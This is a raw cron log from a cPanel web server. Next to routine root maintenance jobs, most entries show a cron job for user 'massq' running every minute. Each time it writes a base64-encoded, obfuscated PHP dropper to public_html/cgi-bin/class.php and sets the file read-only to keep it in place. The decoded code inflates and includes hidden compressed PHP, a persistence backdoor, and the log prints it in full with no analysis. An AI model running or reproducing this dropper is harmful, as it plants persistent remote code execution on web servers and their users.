Nov  9 20:23:01 server CROND[7747]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:24:01 server CROND[8499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:25:01 server CROND[9525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:25:01 server CROND[9526]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:25:01 server CROND[9527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:25:01 server CROND[9529]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:26:01 server CROND[10543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:27:01 server CROND[11426]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 20:27:01 server CROND[11428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:28:01 server CROND[11763]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:29:01 server CROND[12582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:30:01 server CROND[13085]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:30:01 server CROND[13086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 20:30:01 server CROND[13088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:30:01 server CROND[13089]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov  9 20:30:01 server CROND[13090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:31:01 server CROND[14069]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:32:01 server CROND[14884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:33:01 server CROND[15691]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:34:01 server CROND[16166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:35:01 server CROND[16795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:35:01 server CROND[16797]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 20:35:01 server CROND[16800]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:35:01 server CROND[16798]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 20:35:01 server CROND[16801]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
